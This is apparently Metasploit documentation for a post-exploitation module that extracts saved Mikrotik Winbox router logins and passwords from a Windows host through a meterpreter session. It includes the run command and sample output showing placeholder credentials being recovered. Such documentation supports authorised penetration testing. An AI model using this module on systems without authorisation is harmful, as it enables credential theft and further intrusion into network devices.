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Vulnerable Application

Any Windows host with a meterpreter session and Mikrotik Winbox installed.

Winbox can be downloaded here

Installation Steps

  1. Download and open Mikrotik Winbox

  2. Enter a RouterOS device address into Connect to, username into Login, password into Password and check the flag Keep Password

  3. Click Connect

Verification Steps

  1. Get a meterpreter session on a Windows host.

  2. Do: run post/windows/gather/credentials/winbox_settings

  3. If any users in the system has a Keep Password enabled in Winbox, the credentials will be printed out.

Options

VERBOSE

  • By default verbose is turned off. When turned on, the module will show the HexDump of settings.cfg.viw files.

Scenarios

msf6 post(windows/gather/credentials/winbox_settings) > run

[*] VERBOSE: false
[*] Checking Default Locations...
[*] C:\Users\Administrator\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw not found ....
[*] Found File at C:\Users\FooBar\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw
[+] Login: ThisIsUsername
[+] Password: ThisIsPassword
[*] Post module execution completed